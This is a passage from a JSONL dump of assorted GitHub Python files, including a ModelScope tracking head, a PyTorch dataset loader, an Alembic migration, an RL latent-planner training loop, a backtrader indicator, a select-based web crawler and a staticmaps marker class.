x_ctr4 = self.conv4_ctr(x_ctr3)\n        score_map_ctr = self.conv5_ctr(x_ctr4)\n\n        # offset branch\n        x_offset1 = self.conv1_offset(x)\n        x_offset2 = self.conv2_offset(x_offset1)\n        x_offset3 = self.conv3_offset(x_offset2)\n        x_offset4 = self.conv4_offset(x_offset3)\n        score_map_offset = self.conv5_offset(x_offset4)\n\n        # size branch\n        x_size1 = self.conv1_size(x)\n        x_size2 = self.conv2_size(x_size1)\n        x_size3 = self.conv3_size(x_size2)\n        x_size4 = self.conv4_size(x_size3)\n        score_map_size = self.conv5_size(x_size4)\n        return _sigmoid(score_map_ctr), _sigmoid(\n            score_map_size), score_map_offset\n\n\ndef build_box_head(cfg, hidden_dim):\n    stride = cfg.MODEL.BACKBONE.STRIDE\n\n    if cfg.MODEL.HEAD.TYPE == 'CENTER':\n        in_channel = hidden_dim\n        out_channel = cfg.MODEL.HEAD.NUM_CHANNELS\n        feat_sz = int(cfg.DATA.SEARCH.SIZE / stride)\n        center_head = CenterPredictor(\n            inplanes=in_channel,\n            channel=out_channel,\n            feat_sz=feat_sz,\n            stride=stride)\n        return center_head\n    else:\n        raise ValueError('HEAD TYPE %s is not supported.'\n                         % cfg.MODEL.HEAD_TYPE)\n","repo_name":"modelscope/modelscope","sub_path":"modelscope/models/cv/video_single_object_tracking/models/layers/head.py","file_name":"head.py","file_ext":"py","file_size_in_byte":4805,"program_lang":"python","lang":"en","doc_type":"code","stars":4825,"dataset":"github-code","pt":"16"}
+{"seq_id":"21911287495","text":"#!/usr/bin/env python3\r\ndef base10nine(value):\r\n    if (int(value // 9)):\r\n        return base10nine(int(value // 9)) + str(value % 9)\r\n    return str(value % 9)\r\n\r\n\r\ndef main():\r\n    n, k = map(int, input().split())\r\n    if n == 0:\r\n        exit(print(0))\r\n    for _ in range(k):\r\n        n = int(str(n), 8)\r\n        n = base10nine(n)\r\n        c = ''\r\n        for j in range(len(n)):\r\n            if n[j] == '8':\r\n                c += '5'\r\n            else:\r\n                c += n[j]\r\n        n = int(c)\r\n    print(n)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"Balut-moko/procon-grassmaker-archive","sub_path":"atcoder/typical90/typical90_bo/23719992.py","file_name":"23719992.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19209230914","text":"mapa_pokoju = [ [1, 1, 1, 1, 1],\n                [1, 0, 0, 0, 1],\n                [1, 0, 1, 0, 1],\n                [1, 0, 0, 0, 1],\n                [1, 0, 0, 0, 1],\n                [1, 0, 0, 0, 1],\n                [1, 1, 1, 1, 1]\n                ]\n\n\nWIDTH = 800\nHEIGTH = 800\n\ngora_lewa_x = 100\ngora_lewa_y = 150\n\nOBIEKTY_DEMO = [images.podloga, images.filar]\n\nwys_pokoju = 7\nszer_pokoju = 5\n\ndef draw():\n    for y in range(wys_pokoju):\n        for x in range(szer_pokoju):\n            obraz_do_narysowania = OBIEKTY_DEMO[mapa_pokoju[y][x]]\n            screen.blit(obraz_do_narysowania,\n                        (gora_lewa_x+(x*30),\n                        gora_lewa_y+(y*30) - obraz_do_narysowania.get_height()))\n","repo_name":"jansosna7/MisjaPython","sub_path":"listing3.py","file_name":"listing3.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26529635610","text":"from torch.utils.data import Dataset, DataLoader\nimport torch\nfrom torchvision import transforms\nfrom utils import *\nfrom tifffile import imread\nfrom PIL import Image\nimport numpy as np\nimport torch.distributed as dist\nimport cv2\nimport random\nimport pickle\nimport torch.nn.functional as F\nimport copy\n\n\ndef my_collate_fn(batch):\n    scale = [item[2] for item in batch]\n    scale = torch.stack(scale, dim=0)\n    # print(scale)\n    # index1 = (scale == 1)\n    # index2 = (scale == 2)\n    # index3 = (scale == 3)\n    # index4 = (scale == 4)\n    gt_scale1 = []\n    gt_scale2 = []\n    gt_scale3 = []\n    gt_scale4 = []\n    img_scale1 = []\n    img_scale2 = []\n    img_scale3 = []\n    img_scale4 = []\n    for i in range(len(batch)):\n        if scale[i] == 1:\n            # print('scale1', batch[i][1].shape, batch[i][0].shape)\n            gt_scale1.append(batch[i][1])\n            img_scale1.append(batch[i][0])\n        elif scale[i] == 2:\n            # print('scale2', batch[i][1].shape, batch[i][0].shape)\n            gt_scale2.append(batch[i][1])\n            img_scale2.append(batch[i][0])\n        elif scale[i] == 3:\n            # print('scale3', batch[i][1].shape, batch[i][0].shape)\n            gt_scale3.append(batch[i][1])\n            img_scale3.append(batch[i][0])\n        else:\n            # print('scale4', batch[i][1].shape, batch[i][0].shape)\n            gt_scale4.append(batch[i][1])\n            img_scale4.append(batch[i][0])\n\n    if len(gt_scale1) != 0:\n        gt_scale1 = torch.stack(gt_scale1, dim=0)\n        img_scale1 = torch.stack(img_scale1, dim=0)\n    else:\n        gt_scale1 = None\n        img_scale1 = None\n    if len(gt_scale2) != 0:\n        gt_scale2 = torch.stack(gt_scale2, dim=0)\n        img_scale2 = torch.stack(img_scale2, dim=0)\n    else:\n        gt_scale2 = None\n        img_scale2 = None\n    if len(gt_scale3) != 0:\n        gt_scale3 = torch.stack(gt_scale3, dim=0)\n        img_scale3 = torch.stack(img_scale3, dim=0)\n    else:\n        gt_scale3 = None\n        img_scale3 = None\n    if len(gt_scale4) != 0:\n        gt_scale4 = torch.stack(gt_scale4, dim=0)\n        img_scale4 = torch.stack(img_scale4, dim=0)\n    else:\n        gt_scale4 = None\n        img_scale4 = None\n    return [img_scale1, img_scale2, img_scale3, img_scale4], [gt_scale1, gt_scale2, gt_scale3, gt_scale4], scale\n\n\nclass DESUDataset(Dataset):\n    def __init__(self, img_list, gt_list, train=False):\n        self.train = train\n        self.img_list = img_list\n        self.gt_list = gt_list\n        # self.resize_transforms = [transforms.Compose([transforms.Resize(224, 224)])]\n\n    def __len__(self):\n        return len(self.img_list)\n\n    def __getitem__(self, item):\n        img = self.img_list[item]\n        gt = self.gt_list[item]\n        if img.endswith('.tif'):\n            img = imread(img).astype(np.float)\n            gt = imread(gt).astype(np.float)\n        elif img.endswith('.png'):\n            img = np.array(Image.open(img))\n            gt = np.array(Image.open(gt))\n        else:\n            raise Exception('file format not supported')\n        if len(img.shape) == 3:\n            img = img[0]\n            gt = gt[0]\n        scale = gt.shape[0] // img.shape[0]\n        img, gt = self.aug(img, gt, scale)\n        return torch.from_numpy(img).unsqueeze_(dim=0), torch.from_numpy(gt).unsqueeze_(dim=0), torch.tensor(scale)\n\n    def randomCrop(self, img, gt, size, scale):\n        assert img.shape[0] >= size\n        assert img.shape[1] >= size\n        # print(img.shape, gt.shape)\n        x = np.random.randint(0, img.shape[1] - size + 1)\n        y = np.random.randint(0, img.shape[0] - size + 1)\n        imgOut = img[y:y + size, x:x + size].copy()\n        imgOutC = gt[y:y + size * scale, x:x + size * scale].copy()\n        return imgOut, imgOutC\n\n    def norm(self, img, percentage_low, percentage_high):\n        img = (img - np.percentile(img, percentage_low)) / (\n                np.percentile(img, percentage_high) - np.percentile(img, percentage_low) + 1e-7)\n        img[img > 1] = 1\n        img[img < 0] = 0\n        return img\n\n    def aug(self, img, gt, scale):\n        if img.shape[0] <= 128:\n            # print(img.shape, gt.shape, scale)\n            img = cv2.resize(img, (128, 128), interpolation=cv2.INTER_LINEAR)\n            gt = cv2.resize(gt, (128 * scale, 128 * scale), interpolation=cv2.INTER_LINEAR)\n            # print('after reshape;', img.shape, gt.shape, scale)\n        else:\n            img, gt = self.randomCrop(img, gt, size=128, scale=scale)\n        if self.train:\n            hflip = random.random() < 0.5\n            vflip = random.random() < 0.5\n            rot90 = random.random() < 0.5\n            if hflip:\n                img = cv2.flip(img, 1)\n                gt = cv2.flip(gt, 1)\n            if vflip:\n                img = cv2.flip(img, 0)\n                gt = cv2.flip(gt, 0)\n            if rot90:\n                img = cv2.rotate(img, cv2.ROTATE_90_CLOCKWISE)\n                gt = cv2.rotate(gt, cv2.ROTATE_90_CLOCKWISE)\n        img = self.norm(img, percentage_low=2, percentage_high=99)\n        gt = self.norm(gt, percentage_low=2, percentage_high=99)\n        return img, gt\n\n\ndef supervised_dataloader(args):\n\n    train_img_list, train_gt_list = get_train_list(args.data,args.finetune)\n    val_img_list, val_gt_list = get_valid_list(args.data, args.finetune)\n    train_img_list = train_img_list + val_img_list\n    train_gt_list = train_gt_list + val_gt_list\n    # append the train dataset\n    # train_img_list = train_img_list + train_img_list\n    # train_gt_list = train_gt_list + train_gt_list\n    train_dataset = DESUDataset(train_img_list, train_gt_list, train=True)\n    val_dataset = DESUDataset(val_img_list, val_gt_list, train=False)\n    # train_sampler = torch.utils.data.distributed.DistributedSampler(\n    #     train_dataset,\n    #     num_replicas=dist.get_world_size(),\n    #     rank=dist.get_rank()\n    # )\n    # val_sampler = torch.utils.data.distributed.DistributedSampler(\n    #     val_dataset,\n    #     num_replicas=dist.get_world_size(),\n    #     rank=dist.get_rank(),\n    # )\n    train_loader = DataLoader(dataset=train_dataset, num_workers=args.num_worker, batch_size=args.b, pin_memory=True,\n                              collate_fn=my_collate_fn, shuffle=True)\n    val_loader = DataLoader(dataset=val_dataset, num_workers=args.num_worker, batch_size=64, pin_memory=True,\n                            collate_fn=my_collate_fn)\n\n    return train_loader, val_loader\n\n\ndef supervised_selected_data_loader(args):\n    with open(args.pickle_file, 'rb') as f:\n        weight_dict = pickle.load(f)\n    weight_dict_softed = copy.deepcopy(weight_dict)\n    values = []\n    for key, value in weight_dict.items():\n        values.append(value)\n    values = F.softmax(torch.tensor(values))\n    for i, (key, value) in enumerate(weight_dict.items()):\n        weight_dict_softed[key] = values[i]\n    train_img_list, train_gt_list, train_weight_values = get_selected_train_list(args.data, args.finetune, weight_dict_softed)\n    val_img_list, val_gt_list, val_weight_values = get_selected_train_list(args.data, args.finetune, weight_dict_softed)\n    train_img_list = train_img_list + val_img_list\n    train_weight_values = train_weight_values + val_weight_values\n    train_gt_list = train_gt_list + val_gt_list\n\n    idx = [i for i in range(len(train_img_list))]\n    selected_idx = random.choices(idx, weights = train_weight_values, k=args.sample_num)\n    selected_train_img = []\n    selected_gt_img = []\n    for i in selected_idx:\n        selected_train_img.append(train_img_list[i])\n        selected_gt_img.append(train_gt_list[i])\n    print(f'total source data {len(train_img_list)} and we select {len(selected_train_img)}')\n    train_dataset = DESUDataset(selected_train_img, selected_gt_img, train=True)\n    val_dataset = DESUDataset(selected_train_img[int(len(selected_train_img) * 0.9):], selected_gt_img[int(len(selected_train_img) * 0.9):], train=False)\n    train_loader = DataLoader(dataset=train_dataset, num_workers=args.num_worker, batch_size=args.b, pin_memory=True,\n                              collate_fn=my_collate_fn, shuffle=True)\n    val_loader = DataLoader(dataset=val_dataset, num_workers=args.num_worker, batch_size=64, pin_memory=True,\n                            collate_fn=my_collate_fn)\n\n    return train_loader, val_loader\n","repo_name":"Luchixiang/DESU","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":8310,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"19881367773","text":"\"\"\"Roles\n\nRevision ID: 69dabc5b05fb\nRevises: 4dda19e49682\nCreate Date: 2021-11-21 18:16:13.964618\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '69dabc5b05fb'\ndown_revision = '4dda19e49682'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('roles',\n    sa.Column('id', postgresql.UUID(as_uuid=True), nullable=False),\n    sa.Column('name', sa.String(length=80), nullable=False),\n    sa.Column('description', sa.String(length=256), nullable=True),\n    sa.PrimaryKeyConstraint('id'),\n    schema='content'\n    )\n    op.create_index(op.f('ix_content_roles_name'), 'roles', ['name'], unique=True, schema='content')\n    op.create_table('role_permission',\n    sa.Column('role_id', postgresql.UUID(as_uuid=True), nullable=False),\n    sa.Column('permission_id', postgresql.UUID(as_uuid=True), nullable=False),\n    sa.ForeignKeyConstraint(['permission_id'], ['content.permissions.id'], ),\n    sa.ForeignKeyConstraint(['role_id'], ['content.roles.id'], ),\n    sa.PrimaryKeyConstraint('role_id', 'permission_id'),\n    schema='content'\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('role_permission', schema='content')\n    op.drop_index(op.f('ix_content_roles_name'), table_name='roles', schema='content')\n    op.drop_table('roles', schema='content')\n    # ### end Alembic commands ###\n","repo_name":"fuodorov/yacinema","sub_path":"services/movies_auth/src/migrations/versions/69dabc5b05fb_roles.py","file_name":"69dabc5b05fb_roles.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"19635668452","text":"import numpy as np\nimport torch\nimport datetime\nimport os\nimport os.path as osp\nimport sys\n\nfrom rl import logger\n\nfrom rl.utils import mpi_utils\nfrom rl.algo.core import BaseAlgo\n\nfrom rl.replay.planner import sample_her_transitions\nfrom rl.search.latent_planner import Planner\n\n\nclass Algo(BaseAlgo):\n    def __init__(\n        self,\n        env, env_params, args,\n        test_env,\n        agent, replay, monitor, learner,\n        reward_func,\n        name='algo',\n    ):\n        super().__init__(\n            env, env_params, args,\n            agent, replay, monitor, learner,\n            reward_func,\n            name=name,\n        )\n        self.planner = Planner(agent, replay, monitor, args)\n        self.test_env = test_env\n        self.fps_landmarks = None\n        self._clusters_initialized = False\n    \n    def can_plan(self):\n        replay_big_enough = self.replay.current_size > self.args.start_planning_n_traj\n        return replay_big_enough\n    \n    def get_actions(self, ob, bg, a_max=1.0, act_randomly=False):\n        act = self.agent.get_actions(ob, bg)\n        if self.args.noise_eps > 0.0:\n            act += self.args.noise_eps * a_max * np.random.randn(*act.shape)\n            act = np.clip(act, -a_max, a_max)\n        if self.args.random_eps > 0.0:\n            a_rand = np.random.uniform(low=-a_max, high=a_max, size=act.shape)\n            mask = np.random.binomial(1, self.args.random_eps, self.num_envs)\n            if self.num_envs > 1:\n                mask = np.expand_dims(mask, -1)\n            act += mask * (a_rand - act)\n        if act_randomly:\n            act = np.random.uniform(low=-a_max, high=a_max, size=act.shape)\n        return act\n    \n    def agent_optimize(self):\n        self.timer.start('train')\n        \n        for n_train in range(self.args.n_batches):\n            batch = self.replay.sample(batch_size=self.args.batch_size)\n            self.learner.update(batch, train_embed=True)\n            self.opt_steps += 1\n            if self.opt_steps % self.args.target_update_freq == 0:\n                self.learner.target_update()\n            # cluster training\n            if self.opt_steps % self.args.fps_sample_freq == 0 or self.fps_landmarks is None:\n                self.fps_landmarks, _ = self.planner.fps_sample_batch(\n                    initial_sample=self.args.initial_sample, batch_size=self.args.latent_batch_size)\n            if self.opt_steps % self.args.cluster_update_freq == 0:\n                if not self._clusters_initialized and self.agent.cluster.n_mix <= self.args.latent_batch_size:\n                    self.learner.initialize_cluster(self.fps_landmarks[:self.agent.cluster.n_mix])\n                self.learner.update_cluster(self.fps_landmarks, to_train=self._clusters_initialized)\n        \n        self.timer.end('train')\n        self.monitor.store(TimePerTrainIter=self.timer.get_time('train') / self.args.n_batches)\n    \n    def collect_experience(self, act_randomly=False, train_agent=True):\n        ob_list, ag_list, bg_list, a_list = [], [], [], []\n        observation = self.env.reset()\n        ob = observation['observation']\n        ag = observation['achieved_goal']\n        bg = observation['desired_goal']\n        ag_origin = ag.copy()\n        a_max = self.env_params['action_max']\n        self.planner.reset()\n        can_plan = self.can_plan()\n        if not act_randomly and can_plan:\n            self.planner.update(goals=bg.copy(), test_time=False)\n        \n        for timestep in range(self.env_params['max_timesteps']):\n            act = self.get_actions(ob, bg, a_max=a_max, act_randomly=act_randomly)\n            if not act_randomly and can_plan and np.random.uniform() < self.args.plan_eps:\n                sub_goals = self.planner.get_subgoals(ob, bg.copy())\n                act = self.agent.get_actions(ob, sub_goals)\n            else:\n                self.planner.forward_empty_step()\n            ob_list.append(ob.copy())\n            ag_list.append(ag.copy())\n            bg_list.append(bg.copy())\n            a_list.append(act.copy())\n            observation, _, _, info = self.env.step(act)\n            ob = observation['observation']\n            ag = observation['achieved_goal']\n            ag_changed = np.abs(self.reward_func(ag_origin, ag, None))\n            self.monitor.store(Inner_Train_AgChangeRatio=np.mean(ag_changed))\n            self.total_timesteps += self.num_envs * self.n_mpi\n            for every_env_step in range(self.num_envs):\n                self.env_steps += 1\n                if self.env_steps % self.args.optimize_every == 0 and train_agent:\n                    self.agent_optimize()\n        ob_list.append(ob.copy())\n        ag_list.append(ag.copy())\n        \n        experience = dict(ob=ob_list, ag=ag_list, bg=bg_list, a=a_list)\n        experience = {k: np.array(v) for k, v in experience.items()}\n        if experience['ob'].ndim == 2:\n            experience = {k: np.expand_dims(v, 0) for k, v in experience.items()}\n        else:\n            experience = {k: np.swapaxes(v, 0, 1) for k, v in experience.items()}\n        bg_achieve = self.reward_func(bg, ag, None) + 1.\n        self.monitor.store(TrainSuccess=np.mean(bg_achieve))\n        ag_changed = np.abs(self.reward_func(ag_origin, ag, None))\n        self.monitor.store(TrainAgChangeRatio=np.mean(ag_changed))\n        self.monitor.store(Train_GoalDist=((bg - ag) ** 2).sum(axis=-1).mean())\n        self.replay.store(experience)\n        self.update_normalizer(experience)\n    \n    def update_normalizer(self, buffer):\n        transitions = sample_her_transitions(\n            buffer=buffer, reward_func=self.reward_func,\n            batch_size=self.env_params['max_timesteps'] * self.num_envs,\n            future_step=self.args.future_step,\n            future_p=self.args.future_p)\n        self.agent.normalizer_update(obs=transitions['ob'], goal=transitions['bg'])\n    \n    def initialize_clusters(self):\n        pts, _ = self.planner.fps_sample_batch(\n            initial_sample=self.args.initial_sample, batch_size=self.agent.cluster.n_mix)\n        self.learner.initialize_cluster(pts)\n        self._clusters_initialized = True\n    \n    def run(self):\n        for n_init_rollout in range(self.args.n_initial_rollouts // self.num_envs):\n            self.collect_experience(act_randomly=True, train_agent=False)\n        \n        for epoch in range(self.args.n_epochs):\n            if mpi_utils.is_root():\n                print('Epoch %d: Iter (out of %d)=' % (epoch, self.args.n_cycles), end=' ')\n                sys.stdout.flush()\n            \n            for n_iter in range(self.args.n_cycles):\n                if mpi_utils.is_root():\n                    print(\"%d\" % n_iter, end=' ' if n_iter < self.args.n_cycles - 1 else '\\n')\n                    sys.stdout.flush()\n                self.timer.start('rollout')\n                \n                for n_rollout in range(self.args.num_rollouts_per_mpi):\n                    self.collect_experience(train_agent=True)\n                    if self.can_plan() and not self._clusters_initialized:\n                        self.initialize_clusters()\n                \n                self.timer.end('rollout')\n                self.monitor.store(TimePerSeqRollout=self.timer.get_time('rollout') / self.args.num_rollouts_per_mpi)\n            \n            self.monitor.store(env_steps=self.env_steps)\n            self.monitor.store(opt_steps=self.opt_steps)\n            self.monitor.store(replay_size=self.replay.current_size)\n            self.monitor.store(replay_fill_ratio=float(self.replay.current_size / self.replay.size))\n            \n            her_success = self.run_eval(use_test_env=False)\n            train_env_plan_success = self.run_train_env_plan_eval() if self._clusters_initialized else 0.0\n            test_env_plan_success = self.run_test_env_plan_eval() if self._clusters_initialized \\\n                else self.run_eval(use_test_env=True)\n            if mpi_utils.is_root():\n                print('Epoch %d her eval %.3f, test-env plan %.3f, train-env plan %.3f' %\n                      (epoch, her_success, test_env_plan_success, train_env_plan_success))\n                print('Log Path:', self.log_path)\n            logger.record_tabular(\"Epoch\", epoch)\n            self.monitor.store(Test_TrainEnv_HerSuccessRate=her_success)\n            self.monitor.store(Test_TrainEnv_PlanSuccessRate=train_env_plan_success)\n            self.monitor.store(Test_TestEnv_PlanSuccessRate=test_env_plan_success)\n            self.log_everything()\n            self.save_all(self.model_path)\n    \n    def run_test_env_plan_eval(self):\n        env = self.env\n        if hasattr(self, 'test_env'):\n            env = self.test_env\n        total_success_count = 0\n        total_trial_count = 0\n        for n_test in range(self.args.n_test_rollouts):\n            info = None\n            observation = env.reset()\n            ob = observation['observation']\n            bg = observation['desired_goal']\n            ag = observation['achieved_goal']\n            ag_origin = ag.copy()\n            self.planner.reset()\n            self.planner.update(goals=bg.copy(), test_time=True)\n            for timestep in range(env._max_episode_steps):\n                sub_goals = self.planner.get_subgoals(ob, bg.copy())\n                a = self.agent.get_actions(ob, sub_goals)\n                observation, _, _, info = env.step(a)\n                ob = observation['observation']\n                bg = observation['desired_goal']\n                ag = observation['achieved_goal']\n                ag_changed = np.abs(self.reward_func(ag_origin, ag, None))\n                self.monitor.store(Inner_PlanTest_AgChangeRatio=np.mean(ag_changed))\n            ag_changed = np.abs(self.reward_func(ag_origin, ag, None))\n            self.monitor.store(TestPlan_AgChangeRatio=np.mean(ag_changed))\n            self.monitor.store(TestPlan_GoalDist=((bg - ag) ** 2).sum(axis=-1).mean())\n            if self.num_envs > 1:\n                for per_env_info in info:\n                    total_trial_count += 1\n                    if per_env_info['is_success'] == 1.0:\n                        total_success_count += 1\n            else:\n                total_trial_count += 1\n                if info['is_success'] == 1.0:\n                    total_success_count += 1\n        success_rate = total_success_count / total_trial_count\n        if mpi_utils.use_mpi():\n            success_rate = mpi_utils.global_mean(np.array([success_rate]))[0]\n        return success_rate\n    \n    def run_train_env_plan_eval(self):\n        env = self.env\n        total_success_count = 0\n        total_trial_count = 0\n        for n_test in range(self.args.n_test_rollouts):\n            info = None\n            observation = env.reset()\n            ob = observation['observation']\n            bg = observation['desired_goal']\n            ag = observation['achieved_goal']\n            self.planner.reset()\n            self.planner.update(goals=bg.copy(), test_time=True)\n            for timestep in range(env._max_episode_steps):\n                sub_goals = self.planner.get_subgoals(ob, bg.copy())\n                a = self.agent.get_actions(ob, sub_goals)\n                observation, _, _, info = env.step(a)\n                ob = observation['observation']\n                bg = observation['desired_goal']\n                ag = observation['achieved_goal']\n            self.monitor.store(TrainEnvTestPlan_GoalDist=((bg - ag) ** 2).sum(axis=-1).mean())\n            if self.num_envs > 1:\n                for per_env_info in info:\n                    total_trial_count += 1\n                    if per_env_info['is_success'] == 1.0:\n                        total_success_count += 1\n            else:\n                total_trial_count += 1\n                if info['is_success'] == 1.0:\n                    total_success_count += 1\n        success_rate = total_success_count / total_trial_count\n        if mpi_utils.use_mpi():\n            success_rate = mpi_utils.global_mean(np.array([success_rate]))[0]\n        return success_rate\n    \n    def state_dict(self):\n        return dict(total_timesteps=self.total_timesteps)\n    \n    def load_state_dict(self, state_dict):\n        self.total_timesteps = state_dict['total_timesteps']\n","repo_name":"LunjunZhang/world-model-as-a-graph","sub_path":"rl/algo/latent_planner.py","file_name":"latent_planner.py","file_ext":"py","file_size_in_byte":12192,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"16"}
+{"seq_id":"5454249386","text":"\"\"\"Implements custom basic operations not included in backtrader.\n\nDescription\n----------\nCollects custom made basic operations indicators that are not included\nin the native backtrader package but that are usefull or necessary for\nmy own trading strategies.\n\nClasses\n----------\nBackwardDifferenceQuotient: Inherits from PeriodN\n    A Class representing an indicator that takes the backward finite\n    difference of the passed data series at a specified interval.\n\nFunctions\n----------\n    Implements no module functions.\n\nExceptions\n----------\n    Exports no exceptions.\n\"\"\"\n\nfrom backtrader.indicators import PeriodN\n\nclass BackwardDifferenceQuotient(PeriodN):\n    \"\"\"The difference quotient is used for approximation of derivatives.\n\n    Description\n    ----------\n    Taken to the limit it gives the derivative of a function.\n\n    Attributes\n    ----------\n    line : Line Object\n        A line object that can be plotted on the chart.\n\n    Methods\n    ----------\n    next(self)\n        Implements the next method called on every price candle.\n    \"\"\"\n\n    alias = ('BackwardFiniteDifference',)\n    lines = ('bdq',)\n\n    def next(self):\n        \"\"\"Calculate the difference quotient for this price candle.\n\n        Description\n        ----------\n        Formula:\n          - back_diff_q = (f(x) - f(x-h))/h\n        for a given function f.\n        See also:\n          - https://en.wikipedia.org/wiki/Difference_quotient\n\n        Parameters:\n        ----------\n        Gets no parameters.\n\n        Returns:\n        ----------\n        Retruns no value.\n\n        Raises:\n        ----------\n        Does not raise any exceptions.\n        \"\"\"\n\n        self.line[0] = (self.data[0] - self.data[self.p.period]) \\\n                       / (self.data[0] * self.p.period)\n\n    def once(self, start, end):\n        src = self.data.array\n        dst = self.line.array\n        period = self.p.period\n\n        for i in range(start, end):\n            dst[i] = (self.data[i+1] - self.data[i - period + 1]) \\\n                     / (self.data[0] * period)","repo_name":"MarkusMusch/trendtrader","sub_path":"trendtrader/custom_basicops.py","file_name":"custom_basicops.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"71062818568","text":"import socket\nfrom urllib import parse\nimport select\n\nclass Crawler:\n    def __init__(self):\n        self.read_list = list()\n        self.write_list = list()\n        self.header_dict = dict()\n        self.msg_dict = dict()\n\n\n\n    def loop(self,url):\n        # header = self.gen_header(url)\n        while 1:\n            try:\n                #windows如果select中三个list都是空会报错\n                rlist, wlist,xlist = select.select(self.read_list, self.write_list, [])\n            except OSError:\n                continue\n            for i in wlist:\n                i.send(self.header_dict[i])\n                self.write_list.remove(i)\n                self.read_list.append(i)\n\n            for i in rlist:\n                if i not in self.msg_dict.keys():\n                    self.msg_dict[i] = b''\n                try:\n                    msg = i.recv(10)\n                    if not msg:\n                        print(self.msg_dict[i])\n                        del(self.msg_dict[i])\n                        self.read_list.remove(i)\n                    self.msg_dict[i] += msg\n                except Exception:\n                    if i in self.msg_dict.keys():\n                        del(self.msg_dict[i])\n                        try:\n                            self.read_list.remove(i)\n                        except Exception:\n                            pass\n\n\n\n\n\n\n    def add_task(self,url):\n\n        if isinstance(url,list):\n            for i in url:\n                self.do_tasks(i)\n        else:\n            self.do_tasks(url)\n\n\n\n\n\n    def do_tasks(self,url):\n        header = self.gen_header(url)\n        host, _ = self.parse_url(url)\n        ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        ss.connect((host,80))\n        ss.setblocking(False)\n        self.write_list.append(ss)\n        self.header_dict[ss]=header\n\n\n\n\n\n\n    def parse_url(self,url):\n        url_dict = parse.urlparse(url)\n        host = url_dict.hostname\n        path = url_dict.path\n        if len(path)==0:\n            path='/'\n        return host,path\n\n    def gen_header(self,url):\n        host, path = self.parse_url(url)\n        data = \"GET {} HTTP/1.1\\r\\nHost:{}\\r\\nConnection:close\\r\\nUser-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497\" \\\n               \".100 Safari/537.36\\r\\n\\r\\n\".format(\n            path, host).encode('utf8')\n        return data\n\nif __name__ =='__main__':\n    url = \"http://blog.jobbole.com/1142{}/\"\n\n    crawler = Crawler()\n    for i in range(100):\n        temp_url = url.format(i)\n        crawler.add_task(temp_url)\n    crawler.loop(url)\n\n\n","repo_name":"hogen0218/crawler","sub_path":"爬虫单线程 异步.py","file_name":"爬虫单线程 异步.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11942287469","text":"import math\n\nimport s2sphere  # type: ignore\n\nfrom .color import Color, RED\nfrom .object import Object, PixelBoundsT\nfrom .cairo_renderer import CairoRenderer\nfrom .pillow_renderer import PillowRenderer\nfrom .svg_renderer import SvgRenderer\n\n\nclass Marker(Object):\n    def __init__(self, latlng: s2sphere.LatLng, color: Color = RED, size: int = 10) -> None:\n        Object.__init__(self)\n        self._latlng = latlng\n        self._color = color\n        self._size = size\n\n    def latlng(self) -> s2sphere.LatLng:\n        \"\"\"Return LatLng of the marker\n\n        :return: LatLng of the marker\n        :rtype: s2sphere.LatLng\n        \"\"\"\n        return self._latlng\n\n    def color(self) -> Color:\n        \"\"\"Return color of the marker\n\n        :return: color object\n        :rtype: Color\n        \"\"\"\n        return self._color\n\n    def size(self) -> int:\n        \"\"\"Return size of the marker\n\n        :return: size of the marker\n        :rtype: int\n        \"\"\"\n        return self._size\n\n    def bounds(self) -> s2sphere.LatLngRect:\n        \"\"\"Return bounds of the marker\n\n        :return: bounds of the marker\n        :rtype: s2sphere.LatLngRect\n        \"\"\"\n        return s2sphere.LatLngRect.from_point(self._latlng)\n\n    def extra_pixel_bounds(self) -> PixelBoundsT:\n        \"\"\"Return extra pixel bounds of the marker\n\n        :return: extra pixel bounds of the marker\n        :rtype: PixelBoundsT\n        \"\"\"\n        return self._size, self._size, self._size, 0\n\n    def render_pillow(self, renderer: PillowRenderer) -> None:\n        \"\"\"Render marker using PILLOW\n\n        :param renderer: pillow renderer\n        :type renderer: PillowRenderer\n        \"\"\"\n        x, y = renderer.transformer().ll2pixel(self.latlng())\n        x = x + renderer.offset_x()\n\n        r = self.size()\n        dx = math.sin(math.pi / 3.0)\n        dy = math.cos(math.pi / 3.0)\n        cy = y - 2 * r\n\n        renderer.draw().chord([(x - r, cy - r), (x + r, cy + r)], 150, 30, fill=self.color().text_color().int_rgba())\n        renderer.draw().polygon(\n            [(x, y), (x - dx * r, cy + dy * r), (x + dx * r, cy + dy * r)], fill=self.color().text_color().int_rgba()\n        )\n\n        renderer.draw().polygon(\n            [(x, y - 1), (x - dx * (r - 1), cy + dy * (r - 1)), (x + dx * (r - 1), cy + dy * (r - 1))],\n            fill=self.color().int_rgba(),\n        )\n        renderer.draw().chord(\n            [(x - (r - 1), cy - (r - 1)), (x + (r - 1), cy + (r - 1))], 150, 30, fill=self.color().int_rgba()\n        )\n\n    def render_svg(self, renderer: SvgRenderer) -> None:\n        \"\"\"Render marker using svgwrite\n\n        :param renderer: svg renderer\n        :type 